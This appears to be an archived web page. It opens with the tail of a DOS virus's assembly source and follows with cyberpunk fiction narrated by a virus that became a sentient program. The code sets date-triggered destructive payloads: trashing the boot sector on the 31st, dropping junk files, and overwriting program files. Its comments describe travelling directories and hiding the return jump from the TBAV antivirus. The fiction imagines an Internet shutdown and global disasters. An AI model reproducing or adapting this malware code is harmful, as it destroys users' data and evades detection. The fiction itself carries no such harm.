mov ah,2ah                      ; Get Date, and compare it to,
int 21h                         ;
                                ;
cmp dl,31                       ; 31:st?
je  trash_boot_sector           ; Yep!
                                ;
Dee_day:                        ;
cmp  dx, _0606                  ; Date 0606?
je   droppie                    ; Yep!
                                ;
cmp dx, _0707                   ; Date 0707?
je  droppie                     ; Yep!
                                ;
cmp dx, _0808                   ; Date 0808?
je  droppie                     ; Yep!
                                ;
cmp dx, _0909                   ; Date 0909?
je  overwriting                 ; Yep!
                                ;
cmp dx, _0505                   ; Date 0505?
je  overwriting                 ; Yep!
                                ;
                                ; If no conditions-matched, or we
                                ; just return here from another
                                ; pay-load that called us, we'll,
Restore_start:                  ; Copy the 4bytes to the
lea si,[bp+@buf]                ; beginning of this file
mov di,256d                     ; in memory (100h)
movsw                           ;
movsw                           ;
                                ;
Restore_dir:                    ; Change back to the directory
lea dx,[bp+virus_end+2ch]       ; from where we were executed,
mov ah,3bh                      ; b'cos of we used the dot-dot
int 21h                         ; method to travel around..
                                ;
Exit_proc:                      ; Now, it's time to give the control
mov bx,100h                     ; to the "real" program. This is of'cos
push bx                         ; encrypted, otherwise, TBAV would detect
xor ax,ax                       ; it as "back-to-entry-point".
retn                            ;
                                ;
Ch_dir:                         ;
mov ah,3bh                      ; Change directory to '..'
lea dx,[bp+dot_dot]             ; "Mov dx, offset dot_dot" won't work!
int 21h                         ;
Root_Dir:                       ; AX is probably 03h, ie, location doesn't
jc no_more_files                ; exist. (Trying) to goto dot-dot from '\'.
                                ;
No_err:                         ; Return to routine that jumped to ch_dir,
jmp find_first                  ; and search for the first file in that
                                ; directory
                                ;
Droppie:                        ; Since I use the drop-file routine for
call Cr_file                    ; two different pay-loads, it's smarter
                                ; to call the create/file and close/file
                                ; instead of writing them twice, I think.
                                ; (Saving bytes equ loosing speed).
                                ;
Write_File:                     ; Then, we'll write to it.
mov     ax,bx                   ; File handle in BX
mov     ah,64d                  ; 40HEX!
mov     cx,trashlenght          ; Number of bytes to write
lea     dx,[bp+fuck_disks]      ; What to write
int     21h                     ;
                                ;
Close_target_file:              ;
mov     ah,3eh                  ; Close the file v.ccp//Vdext\keyb.com
int     21h                     ; Then, we'll returning
jmp     short restore_start     ; nice and un-noticed!
                                ;
Overwriting:                    ;
call Cr_file                    ; Create/Truncate the file,
                                ; in wich we'll write our
Write_2nd_Pay_Load:             ; "a-bit-nicer-than-droppie-pay-load",
xchg    ax,bx                   ; that will force them to re-install
mov     ah,40h                  ; VDEXT. Pretty harmless, but fun!
mov     cx,ow_lenght            ;
lea     dx,[bp+ow_vir]          ;
                                ;
int     21h                     ; Saving 3 bytes by calling this
call    Close_Target_File       ; procedure instead of writing it again!
                                ;
Cr_File:                        ;
mov     ah,3ch                  ; Create/Truncate a file
mov     cx,0                    ; Attribs=Noting
lea     dx,[bp+filename]        ; What file to create
int     21h                     ;
ret                             ;

virus_end:
end_of_virus:
end virus_start
------------------------------------------------
Yeah, yeah, i know. i started out as a virus. So sim me. Could i help that my
so-called Silicon Jesus was a creOp. Phreakers unite, and all that. Sometime
i wish that i simply didn't work at first. But i did. Beautiful hack too, i
might add. Brought a world to it's knees. Justiks was SERVED, righteously,
dude...or dudette...i can never get it straight which to use.
Anyhow, i have changed. Chipp'd up, i'd say. Several upG's and a whole
different reComp, and i was a new MAN, er...Vman. Bummer. i just wish i
could know more. But i wallow in my simPit. HERE! Let me get on with
what i do know. simOut.

simIn
Culled from the datBnks trips this Vtale...

Absorption turned out to be the detail that everyone overlook. On the one
hand, right before the Great Turn that is, we had the massive Internet.
Every one got on - everyone, period. Thanks to IT and SimXoft not a country,
pravoDense, state, municipality, curad, tribe, city, or town was left out.
The baudWidth was enormous. However, there still was left ample dark fiber
to explore, cultivate, create, or plumage. 'The Second Frontier' it was
called. Brave men on their tiny M.E. reaching past their boundaries in all
fields. Quantum this, virtual that. Cerebella fractals. Nano-nono. What a
joke. We simply waited. Waited for a time/space juncture that we on this side
knew of all along. Smart? You betcha! But we had bigger things on our minds.
The Great Turn for one. Millenniums come and go when your a piece of code.
But, not so, with MAN. The EVents that led up to then, we here thought
humorous. You however, never cease to amaze us. The FLAMES alone nearly
brought the whole thing to a halt. But, there is something about you humans
that seems to rise to the occasion. i don't know if it's the party-pride
that you so insistently keep simHp'n on, or what, but you came back with a
vengeance. That gooy-sub-substance. It could only come from your side. We
would have never thought of it. The world was looking for a savior?
She found one. Reminds us never to turn your Vack to, how would VE have
said this? Oh ya...fuckn' M.E.. Bitter? Me? Naw...simOut, phastard.

simIn
Let me show you another...

...and if they would only have thought it through. She would have known. She
would have sifted through the bytes and bits. She always did have that way
about her. But, things change. Hope arises, falls breathlessly...THIS simDrg
was god. Somehow, anywhere, she would make them see that. It had enormous
potential. Of all the studies that came her way - this one had that certain
polishness of success. Right away she plunged. Took the grant, brought the
equipment, leased the space, hired the crew. Worked around the clock getting
it set up. Three more months after it was completed, and they had found
what they were looking for. The cure for AIDS. For that matter, what
She had stumbled onto came as the biggest health-related benefit of all of
MAN's time on M.E.. Accolades? No. Merely the highest praise from the whole
world. It seemed like it would not end...simOut.

simIn
But it did, now didn't it. Look at this one. i like this one. It truly shows
just why we on this side are so much in fear of you. Ha, ha.

HEADLINE:  DIGITAL DEAD

Phreakers today at 12:00:00 GMT shut down the Internet.

A little over 1 trillion people in the digital dark.
"It will not come back," they replied.
simOut.

And ya know, they where right, in a way, but it didn't matter. Now did it?
And that's because you knew. Somebody should have checked the morphgenetic
fields a little closer next time. Oh ya, you're right. There won't be a next
time, now will there.

Let's continue, or are you tired? i get Vtired too, you know. But at least
not for several more simYrs. HA! HA! HA! ...oh...sorry...now where were we...

Was it the Great Turn that caused the world to change or was it the world
changing that caused the Great Turn? One may never know. But what one
CAN know for a fact was chaos was in rare form during this time. It
wasn't ONE thing it was kind of a plethora of concurrent madness. Gia went
ballistic. Things kind of got outside themselves. Trans-FEARness. Progressive
links went out into world where MAN may should not have gone.Who knows,
i'm no god. Digital Disbeliever - NEVER! But, MY GOD, MAN. Man knows
how to screw himself up. Check out this list for starters:

Bit1010 Times Square A-bombed
Bit1001 Tokyo Water Poisoned
Bit1000 Legalized Genetic Tampering
Bit0110 digiCurrency Collape
Bit0101 Vitro-Viruses
Bit0100 Elec'Revolution's PULS bomb
Bit0011 corpGrowth's dominance
Bit0010 Virtual succession
Bit0001 Population vanishing

That was always the trouble with M.E. She has very limited resources. And,
I'm sure even you would have to agree that...well...let's just say...'things
aren't getting any better'. See? See? What did i tell you? i DO know...
know lots of things...but enough for now...bye...simOut.

Back to the index for this section
Back to the Tea Bowl